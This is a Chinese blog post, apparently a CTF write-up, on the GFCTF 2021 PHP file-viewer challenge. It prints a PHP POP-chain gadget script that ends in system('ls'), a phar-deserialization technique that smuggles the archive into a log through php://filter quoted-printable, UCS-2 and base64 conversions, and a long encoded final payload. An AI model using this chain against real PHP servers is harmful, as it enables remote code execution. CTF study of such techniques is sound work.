Loading

[GFCTF 2021]文件查看器

www.zip下载源码
看源码 传入两个参数c和m,然后创建新的c类,执行c类的m函数
没有的类通过autoload调用,限定目录和后缀
默认给三个类能调用,看主要的file类

有一个getfile函数,能够调用和重写内容,但是内容我们没法指定

 

 

注意有三个类有一个pop链

<?php

    class User{
        public $username;
        public $password;

         public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{        
                echo "{$this->username}的密码不正确或不存在该用户";
            }
        }

    }

    class Myerror{
        public $message;
          public $test;
        public function __tostring(){            
            $test=$this->message->{$this->test};
            return "test";
        }
    }

     class Files{
        public $filename;
        public function __get($key){
            ($key)($this->arg);
        }
    }

    $a=new User();
    $a2=new User();
    $a2->password='phpinfo';
    $b=new Myerror();
    $c=new Files();
    $b->message=$c;
    $c->arg='ls';
    $b->test='system';
    $a->password=[$a2,'check'];
    $a2->username=$b;
    echo serialize($a);

构造较为简单,下一步就是找反序列化点了

 

 

注意到没unserialize函数,但是有文件读取考虑phar反序列化。下一步就是找文件上传点了。发现题目特意给了个log目录,尝试读取

因为phar有特殊字符,不方便直接上传,考虑用base64编码后报错写入日志试试,先用一个短的base64数据测试

 

可以看到当我们尝试读取这个base64文件名的文件是,报错不存在,同时将这句话写入到了log中

 

下一步就是解码了,由于有重写功能,我们可以用filter的debase64解码,但是问题是这样也会对那句话的前面和后面那些没用的数据解码,我们就需要想办法删除这些多余的数据

首先对于之前的数据我们可以通过

php://filter/read=consumed/resource=log/error.txt

来删除,但是每次报错本身也带有脏数据,这里用到base64解码一个特性

php的php://filter/read=convert.base64-decode/resource只会解码php包含的符号,例如

对于这些数据,base64解码只会解码[1-9a-zA-Z=],其它数据会无视,那么我们让多余的数据变成这些字符以外的不会被解码数据即可

 

这里注意下

当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码

看后半句,我们如果在base64传入是加上\0,然后utf-16le转utf-8,其他字符不就变成乱码了吗?但是这题过滤了utf-16

有个功能相同的ucs-2可以代替,但是貌似\0是加在前面

下面就是怎么加入\0了?这个可以用quoted-printable

quoted-printable
用一个等号“=”后面加两个16进制数字字符来表示一个非ASCII码字符和等号。

也就是说非ascii字符和等号用=+两个16进制数字表示,比如0就是=00,=就是=3d

这样例如

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D

上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

这样流程就ok了

 

构造phar文件,注意

 

解析phar要用到phar,是先读取文件反序列化,然后这里检测报错。无法正常结束程序来进行析构函数。这里用gc回收机制讲的很多了,这里不展开,构造好phar文件,修改好签名

生成

<?php
$a=file_get_contents('phar2.phar');
$a=iconv('utf-8','UCS-2',base64_encode($a));
file_put_contents('a.txt',quoted_printable_encode($a));
file_put_contents('a.txt',preg_replace('/=\r\n/', '',file_get_contents('a.txt')).'=00=3D');

 

 

 

上传(下面操作记得勾选重写)

 

 

php://filter/write=convert.quoted-printable-decode/resource=log/error.txt

 

php://filter/write=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

 

 

php://filter/write=convert.base64-decode/resource=log/error.txt

 

 

 

phar://log/error.txt

 成功列出文件

 

FLAG

 

 

 

 最终paylaod

=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=008=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00A=00H=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00z=00O=00j=00c=006=00I=00n=00B=00o=00c=00G=00l=00u=00Z=00m=008=00i=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00a=00T=00o=00z=00O=003=000=00H=00A=00A=00A=00A=00Z=00X=00h=00w=00L=00n=00R=004=00d=00A=00Q=00A=00A=00A=00C=009=00I=00A=00N=00j=00B=00A=00A=00A=00A=00A=00x=00+=00f=009=00i=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00H=00R=00l=00c=003=00S=00H=00m=00Z=00b=008=00G=007=00g=00h=00y=00e=006=00q=00y=000=00j=00v=00u=00/=00l=00D=00b=00I=00T=00I=00l=00g=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00=3D

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2022-08-22 14:35  Aninock  阅读(307)  评论(0编辑  收藏  举报